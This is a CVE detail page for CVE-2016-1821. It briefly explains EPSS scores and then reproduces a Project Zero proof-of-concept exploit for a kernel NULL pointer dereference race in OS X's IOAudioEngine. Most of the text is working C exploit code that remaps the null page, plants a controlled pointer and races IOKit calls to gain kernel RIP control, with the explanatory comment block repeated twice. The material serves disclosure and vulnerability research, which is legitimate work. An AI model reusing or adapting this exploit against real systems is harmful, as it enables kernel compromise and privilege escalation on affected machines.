CVE-2016-1821 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=776 IOAudioEngineUserClient::closeClient sets the audioEngine member pointer to NULL IOReturn IOAudioEngineUserClient::closeClient() { audioDebugIOLog(3, "+ IOAudioEngineUserClient[%p]::closeClient()\n", this); if (audioEngine && !isInactive()) { if (isOnline()) { stopClient(); } audioEngine->clientClosed(this); audioEngine = NULL; External method 0 uses audioEngine without checking if it's NULL: IOReturn IOAudioEngineUserClient::safeRegisterClientBuffer(UInt32 audioStreamIndex, void * sourceBuffer, UInt32 bufSizeInBytes, UInt32 bufferSetID) { audioDebugIOLog(3, "IOAudioEngineUserClient::safeRegisterClientBuffer deprecated for 32 bit %p \n", sourceBuffer); IOAudioStream * audioStream; IOReturn result = kIOReturnBadArgument; audioDebugIOLog(3, "+ IOAudioEngineUserClient::safeRegisterClientBuffer32 %p \n", sourceBuffer); audioStream = audioEngine->getStreamForID(audioStreamIndex); Whilst that isn't a virtual method, getStreamForID does call a virtual function on a member: IOAudioStream * IOAudioEngine::getStreamForID(UInt32 streamID) { IOAudioStream * stream = NULL; assert(reserved); if (reserved->streams) { stream = OSDynamicCast (IOAudioStream, reserved->streams->getObject(streamID)); } return stream; } getObject is a virtual function, and reserved will be read from the NULL page giving us easy RIP control. tested on OS X 10.11.4 (15E65) MacBookAir 5,2 */ // ianbeer // clang -o ioaudio_race ioaudio_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0 /* OS X exploitable kernel NULL pointer dereference in IOAudioEngine IOAudioEngineUserClient::closeClient sets the audioEngine member pointer to NULL IOReturn IOAudioEngineUserClient::closeClient() { audioDebugIOLog(3, "+ IOAudioEngineUserClient[%p]::closeClient()\n", this); if (audioEngine && !isInactive()) { if (isOnline()) { stopClient(); } audioEngine->clientClosed(this); audioEngine = NULL; External method 0 uses audioEngine without checking if it's NULL: IOReturn IOAudioEngineUserClient::safeRegisterClientBuffer(UInt32 audioStreamIndex, void * sourceBuffer, UInt32 bufSizeInBytes, UInt32 bufferSetID) { audioDebugIOLog(3, "IOAudioEngineUserClient::safeRegisterClientBuffer deprecated for 32 bit %p \n", sourceBuffer); IOAudioStream * audioStream; IOReturn result = kIOReturnBadArgument; audioDebugIOLog(3, "+ IOAudioEngineUserClient::safeRegisterClientBuffer32 %p \n", sourceBuffer); audioStream = audioEngine->getStreamForID(audioStreamIndex); Whilst that isn't a virtual method, getStreamForID does call a virtual function on a member: IOAudioStream * IOAudioEngine::getStreamForID(UInt32 streamID) { IOAudioStream * stream = NULL; assert(reserved); if (reserved->streams) { stream = OSDynamicCast (IOAudioStream, reserved->streams->getObject(streamID)); } return stream; } getObject is a virtual function, and reserved will be read from the NULL page giving us easy RIP control. tested on OS X 10.11.4 (15E65) MacBookAir 5,2 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <IOKit/IOKitLib.h> #include <libkern/OSAtomic.h> #include <mach/thread_act.h> #include <pthread.h> #include <mach/mach.h> #include <mach/vm_map.h> #include <sys/mman.h> unsigned int selector = 0; uint64_t inputScalar[16]; size_t inputScalarCnt = 0; uint8_t inputStruct[40960]; size_t inputStructCnt = 0; uint64_t outputScalar[16] = {0}; uint32_t outputScalarCnt = 0; char outputStruct[40960] = {0}; size_t outputStructCnt = 0; io_connect_t global_conn = MACH_PORT_NULL; void set_params(io_connect_t conn){ global_conn = conn; selector = 0; inputScalarCnt = 4; inputStructCnt = 0; outputScalarCnt = 16; outputStructCnt = 40960; } void make_iokit_call(){ IOConnectCallMethod( global_conn, selector, inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); } OSSpinLock lock = OS_SPINLOCK_INIT; void* thread_func(void* arg){ int got_it = 0; while (!got_it) { got_it = OSSpinLockTry(&lock); } // usleep(1); make_iokit_call(); return NULL; } mach_port_t get_user_client(char* name, int type) { kern_return_t err; CFMutableDictionaryRef matching = IOServiceMatching(name); if(!matching){ printf("unable to create service matching dictionary\n"); return 0; } io_iterator_t iterator; err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); if (err != KERN_SUCCESS){ printf("no matches\n"); return 0; } io_service_t service = IOIteratorNext(iterator); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } printf("got service: %x\n", service); io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), type, &conn); if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; } printf("got userclient connection: %x\n", conn); return conn; } int main(int argc, char** argv){ kern_return_t err; // re map the null page rw int var = 0; err = vm_deallocate(mach_task_self(), 0x0, 0x1000); if (err != KERN_SUCCESS){ printf("%x\n", err); } vm_address_t addr = 0; err = vm_allocate(mach_task_self(), &addr, 0x1000, 0); if (err != KERN_SUCCESS){ if (err == KERN_INVALID_ADDRESS){ printf("invalid address\n"); } if (err == KERN_NO_SPACE){ printf("no space\n"); } printf("%x\n", err); } char* np = 0; for (int i = 0; i < 0x1000; i++){ np[i] = '\xff'; } *((uint64_t*)0x28) = 0xffffff4141414141; OSSpinLockLock(&lock); pthread_t t; pthread_create(&t, NULL, thread_func, NULL); mach_port_t conn = get_user_client("IOAudioEngine", 0); set_params(conn); OSSpinLockUnlock(&lock); IOServiceClose(conn); }